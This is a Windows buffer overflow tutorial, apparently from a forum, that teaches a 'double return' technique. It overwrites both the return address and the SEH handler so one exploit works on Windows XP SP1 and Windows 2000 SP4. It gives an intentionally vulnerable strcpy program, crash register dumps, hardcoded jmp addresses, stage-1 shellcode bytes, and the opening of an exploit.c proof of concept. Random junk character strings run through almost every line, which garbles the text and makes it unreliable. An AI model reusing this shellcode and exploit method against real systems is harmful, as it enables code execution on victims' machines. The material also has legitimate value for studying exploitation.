The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well. ; E: z. z! u& F8 `4 B! e1 g % O" |0 W) G6 X' c[Buf] <- Shellcode4 h3 a. p4 y. l1 z+ X: K
[Return Address] <- jmp register (for Windows XP sp1). f w- B! z6 \3 c
[Various Stack Data] <- Junk! m6 d6 z L# I( O
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward9 k6 g4 ^& V6 y% ]
[SE Handler] <- jmp register (for Win2k sp4) . u3 I& K T3 |7 K1 \( P' O1 s$ y[Stage1 Shellcode] <- stage1 shellcode for win2k 8 w2 S" I& j+ K3 S3 `& x 2 {& t% I! K) { EIf the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses, i: \1 D6 n# R; \3 `" {( R) ^
& {/ ? `8 v/ k9 nNecessary Tools: ! }, Z5 {9 P* P- OllyDBG ; ?4 e' W2 H6 ?% Q3 U2 s- C/C++ Compiler 7 {# J2 I/ N8 c; Z: ^* u- nasm 6 A z5 n \" x. ~- Sac 5 ~0 \0 F8 s# j7 d 2 n! O9 f4 J4 e" e! MVulnerable Code: 0 T% u% k7 t0 c, l6 q//lamebuf.c+ y6 N2 a+ @4 ?; O6 G4 a! |
#include<stdio.h>7 W9 U! {! d& \9 R! H
#include<string.h> - k' i) u* G! z, x1 O% H# n" |9 M#include<windows.h>, k$ K+ [) |, [" b8 u
int main(int argc,char *argv[]){+ n" C& }% s: }# s. l; D, ]$ I) A
4 k( ]0 p7 ^, d4 [( F1 w
char buf[512];6 B4 M8 d, S1 n# j6 i! u$ [
char buf1[1024]; // <- simulate a stack$ S& K+ {+ x- s1 f o$ G$ G
//DebugBreak();: U, |, v: u/ e9 ?; S
if (argc != 2){ return -1; }# ]" R( U4 g0 L- I* ]
1 F! K. f: m+ ~4 |) bstrcpy(buf,argv[1]);* d# g& y5 B7 L4 p4 p
return 0x0; ) \7 w& L& r/ b' m} 8 k( f. u, R2 k+ d 6 `# d' u7 U8 u4 \Getting Started: ; }+ g! e* Z, K2 |2 VBefore writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:; Q% a8 }& W0 [* o7 m0 N
, ?; j2 f' k9 K4 h! W! @+ U, bEAX 00000000 8 _1 j' W! Y" l7 n# [ECX 00321404) t. C9 {' Z, W+ i: W2 n
EDX 00414141 $ ^% z4 _$ L* @( ?4 t/ a/ _EBX 7FFDF000 8 b5 f/ Z2 A \, }' n4 k) U: `ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"6 J: {5 ~' x7 Q! y4 q7 ]: v
EBP 41414141 t }* x4 H" S' S$ `5 t& c4 gESI 77D4595F: X a- q% Y! R( @3 f& t
EDI 77F59037 ntdll.77F59037 ) W: y7 w8 O- iEIP 41414141+ t3 w, {6 U9 V' T4 c
+ Z' ~& E V$ W6 n" P. j) Y; T
Lets take a look at the stack and see what happened to the default exception handler:; i- s( U: ~* k$ `
0x0012FFB0 41414141 Pointer to next SEH Record ! |1 h! S8 b/ T% S. }4 @0x0012FFB4 41414141 SE Handler) d0 r7 R( t5 n- D" D
8 { h! R+ e% F l) D! v- L, p
We successfully overwrote the return address and the default exception handler. 8 ]9 h) }& I; h) r/ W: c7 d 8 B) d3 S0 P# C% T0 ZPrimary Return Address (Windows XP SP1 EN):% G& q" V9 r, L
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:5 S- X- w0 d& s( Y
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4". M) U1 m! D ^0 V. {1 K6 V
( a. W0 b5 n2 ^( lSecondary Return Address (Windows 2000 SP4 EN):! f/ ^0 Z V5 ^
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:" Q8 S, f# U+ \3 [# [8 N# r) p
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1" 8 E: F9 @ W2 Z# s/ ?( w& V# T: ?, m6 _0 }2 X7 u" ?
Proof Of Concept: ]. h4 x4 {9 \// exploit.c0 x0 h- R3 F6 u
// Tal zeltzer - [Double Return] //6 s6 J7 W7 m- ?, ?- b; ^% O
( _' g& D, g! l0 R- j
#include<stdio.h>; \1 v: E3 I" @& _1 Y9 r; P
#include<string.h>; a# Q! b& Y7 [# S
#include<windows.h>0 O- d9 M* N) s# l3 F2 o6 h
* x( U8 J7 S; D& t) e
#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp * J8 |3 ~. T4 d7 c X#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx + v0 v8 G0 L1 R' [ ; M+ T8 a+ V& ^$ O/ l3 l// Stage1 For WinXP Sp1 English, k8 d$ e* S9 G
unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";: D% G! G- q- a/ V5 h+ s2 X